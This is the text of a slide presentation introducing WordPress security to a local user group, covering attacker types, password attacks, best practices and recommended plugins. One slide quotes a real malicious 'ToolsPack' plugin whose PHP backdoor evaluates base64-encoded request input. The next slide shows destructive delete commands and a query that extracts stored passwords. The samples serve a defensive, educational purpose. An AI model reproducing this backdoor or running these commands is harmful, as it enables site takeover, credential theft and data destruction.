A brief overview of security concepts to give context to the threats facing Wordpress users.

1. Intro to Wordpress
Security
Prepared for the Oklahoma City Wordpress User Group
by Chris Dodds

2. Chris Dodds
Owner & Principal Advisor at Focusfire IT
Strategy & Consulting
Features: Ten+ years of experience across
multiple industries and IT disciplines.
Certifications:
CISSP System Requirements: Food, water, &
MCITP:SA internet connectivity.
Security+
Network+

3. This talk is not about the
top 5 WP security threats.

4. Let’s talk about
Betty.

5. Betty’s Fancy Blog o’ Gnomes
Betty’s Betty’s Fancy Betty’s Fancy
Fancy Server Employer Audience

6. It’s not about you, Betty.

7. The Players
Script kiddies Hacktivists Pro Criminals
Information Warriors

8. Enumeration
Access
Exploitation

9. Password Attacks
Exploit weak passwords
Dictionary based
Can be entirely automated

10. ToolsPack Plugin
toolspack.php
<?php
/*
Plugin
Name:
ToolsPack
Description:
Supercharge
your
WordPress
site
with
powerful
features
previously
only
available
to
WordPress.com
users.
core
release.
Keep
the
plugin
updated!
Version:
1.2
Author:
Mark
Stain
Author
URI:
http://checkWPTools.com/
*/
$_REQUEST[e]
?
EVAL(
base64_decode(
$_REQUEST[e]
)
)
:
exit;
?>
Source - http://blog.sucuri.net/2012/02/new-wordpress-toolspack-plugin.html

11. This backdoor code allows the
remote user to:
Execute commands on you server
$WINDIR ? `del /F/S/Q $WINDIR*` : `rm -rf /`;
Execute commands against your WP database
SELECT login + '-' + password FROM users

12. More Likely...
Payload - keylogger, trojan, spyware, virus
SEO Spam - links, keywords
“garden gnomes, free
chaps, leather sale,
cheap sex, porn,
prescription drugs,
coupons, free avon”

13. Best Practices
Update! Update! Update!
Backup & test your backups.
Use a unique passphrase.
Don’t use the “admin” user.
Disable or delete un-used plugins.

14. These are all things your
attacker will do once they
control your site.

15. Recommended Plugins
Backup
BackWPup - open-source or BackupBuddy - commercial
Security
Better WP Security - open-source
Limit Login Attempts - open-source
Sucuri SiteCheck Scanner - http://sitecheck.sucuri.net/

16. Contact and Q&A
Chris Dodds
e-mail - chris.dodds@focusfire.net
twitter - @doddschris
web - chrisdodds.net